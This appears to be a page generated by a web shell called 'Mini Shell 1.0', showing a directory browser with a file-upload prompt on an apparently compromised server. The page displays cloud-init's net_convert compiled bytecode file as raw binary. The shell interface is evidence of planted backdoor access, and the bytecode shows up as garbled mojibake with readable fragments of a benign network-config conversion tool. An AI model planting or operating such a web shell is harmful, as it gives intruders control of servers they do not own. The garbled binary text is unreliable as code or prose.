HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/cmd/devel/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/cmd/devel/__pycache__/net_convert.cpython-311.pyc
�

܍~cl���dZddlZddlZddlZddlZddlZddlmZmZm	Z	ddl
mZmZm
Z
mZmZmZddlmZddlmZddlmZdZdd	�Zd
�Zedkr*e�����Zeee��dSdS)
z(Debug network config format conversions.�N)�distros�log�safeyaml)�eni�netplan�network_manager�
network_state�networkd�	sysconfig)�DataSourceAzure)�
DataSourceOVF)�	openstackznet-convertc��|s tjtt���}|�ddt
ddd���|�dd	gd
�dd���|�d
dddd���|�ddd�tj���D��d���|�ddddd���|�ddd���|�dd gd!�dd"���|S)#aBuild or extend and arg parser for net-convert utility.

    @param parser: Optional existing ArgumentParser instance representing the
        subcommand which will be extended to support the args of this utility.

    @returns: ArgumentParser with proper argument configuration.
    )�prog�descriptionz-pz--network-data�PATHTz!The network configuration to read)�type�metavar�required�helpz-kz--kind)r�network_data.json�yaml�
azure-imds�
vmware-imcz&The format of the given network config)�choicesrrz-dz--directoryzdirectory to place output in)rrrz-Dz--distroc��g|]	}|D]}|���
S�r)�.0�sublist�items   �A/usr/lib/python3/dist-packages/cloudinit/cmd/devel/net_convert.py�
<listcomp>zget_parser.<locals>.<listcomp>Es9��
�
�
���
�
�@D�D�
�
�
�
�)rrz-mz--maczname,mac�appendzinterface name to mac mapping)r�actionrz--debug�
store_truezenable debug logging to stderr.)r%rz-Oz
--output-kind)rrr
r�network-managerz!The network config format to emit)	�argparse�ArgumentParser�NAME�__doc__�add_argument�openr�
OSFAMILIES�values)�parsers r!�
get_parserr1s����I��(�d��H�H�H��
�����
���
0�
���������
�
�
��
5�����������
+�����������
�
� '� 2� 9� 9� ;� ;�
�
�
��
�����������
,���������,�-N����������N�N�N��
0������Mr#c
�@	�|j�d��s|xjdz
c_tj�|j��stj|j��|jr tjtj	���ntjtj
���|jr+i}|jD] }|�dd��\}}|||<�!nd}|j
���}|jdkrt!j|��}�nC|jdkr|t%j|��}d|vr|�d��}|jrGt*j�d�d	t%j|��d
g����n�|jdkr)t5jt9j|��|���}n�|jd
kr-t=jt9j|��d��}nP|jdkrEtAj!tAj"|j
j#����}tAj$|d��}tKj&|j'��}	|	|j'id��}
|j(dkr't j)}|
j*�d��}n�|j(dkrGtVj)}|
j*�di��}d|d<|ddd�|d<ddg|d<n�|j(dkr'tXj)}|
j*�d��}ns|j(dkr'tZj)}|
j*�d��}nA|j(dkr't\j)}|
j*�d��}nt_d���||���}taj1||���}
|jrHt*j�d�d
dtej3|
��d
g����t*j�d
�d|j�d|j
j#�d�d |j(�d!|j�d"�g��dz��|�4|
|j�#��dS)$N�/)�level�,�rr�network�
z
Input YAML�r)�
known_macsrrFr�postcmds�netplan_pathzdhcp-use-domainszipv6-mtu�featuresr
rr'zInvalid output_kind)�config)�rendererzInternal StatezRead input format 'z' from 'z'.
zWrote output format 'z' to 'z'
)r	�target)5�	directory�endswith�os�path�isdir�makedirs�debugr�setupBasicLogging�DEBUG�WARN�mac�split�network_data�read�kindr�convert_eni_datar�load�get�sys�stderr�write�join�dumpsr�convert_net_json�json�loads�azure�6generate_network_config_from_instance_network_metadata�ovf�Config�
ConfigFile�name�get_network_config_from_confr�fetch�distro�output_kind�Renderer�renderer_configsrr
rr�RuntimeErrorr	�parse_net_config_datar�dump�render_network_state)r`�argsr:r �
iface_name�	iface_mac�net_data�pre_nsr>�
distro_clsrc�r_cls�r�nss              r!�handle_argsrt^s����>�"�"�3�'�'�����#����
�7�=�=���(�(�$�
��D�N�#�#�#��z�.���C�I�.�.�.�.�.���C�H�-�-�-�-��x���
��H�	/�	/�D�$(�J�J�s�A�$6�$6�!�J�	�$.�J�y�!�!�	/��
�� �%�%�'�'�H��y�E����%�h�/�/���	
��f�	�	���x�(�(�������Z�Z�	�*�*�F��:�	��J����	�	�<����)?�)?��D�E�E�
�
�
��
��)�	)�	)��+��J�x� � �Z�
�
�
���
��l�	"�	"��M��J�x� � ��+�
�
���
��l�	"�	"���C�N�4�+<�+A�B�B�C�C���1�&�%�@�@����t�{�+�+�J�
�Z���R��
.�
.�F���5� � �����(�,�,�U�3�3���	
�	�Y�	&�	&�� ���(�,�,�Y��;�;��"��z��!'��!7����!;��~��0�*�=��z���	
�	�Z�	'�	'��!���(�,�,�Z�8�8���	
�	�[�	(�	(��"���(�,�,�[�9�9���	
�	�.�	.�	.��(���(�,�,�->�?�?����0�1�1�1�
��V����A�	�	,�V�a�	@�	@�	@�B��z�O��
������B�(8�$�)�B�-�-��#L�M�M�N�N�N��J���
�����9�9�9�d�/�4�4�4�6�6��#�#�#�T�^�^�^�5�
�	
�	
��	�
�
�
�����D�N��C�C�C�C�Cr#�__main__)N)r+r(rYrCrSr�	cloudinitrrr�
cloudinit.netrrrr	r
r�cloudinit.sourcesrr[r
r]�cloudinit.sources.helpersrr*r1rt�__name__�
parse_argsrkrr#r!�<module>r|sT��/�.���������	�	�	�	�
�
�
�
�����,�,�,�,�,�,�,�,�,�,�����������������7�6�6�6�6�6�2�2�2�2�2�2�/�/�/�/�/�/���?�?�?�?�DUD�UD�UD�p�z����:�<�<�"�"�$�$�D��K��d�������r#